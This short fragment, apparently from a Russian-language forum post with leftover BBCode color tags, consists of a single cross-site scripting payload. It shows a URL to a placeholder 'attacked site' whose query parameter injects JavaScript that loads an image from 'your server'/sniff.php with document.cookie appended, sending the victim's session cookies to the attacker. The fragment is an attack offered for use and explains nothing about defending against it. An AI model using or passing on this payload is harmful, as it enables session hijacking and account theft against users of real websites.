[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
http://атакуемыйсайт/bug?xss=img=new Image();img.src="http://вашсервер/sniff.php?cookie~"+document.cookie;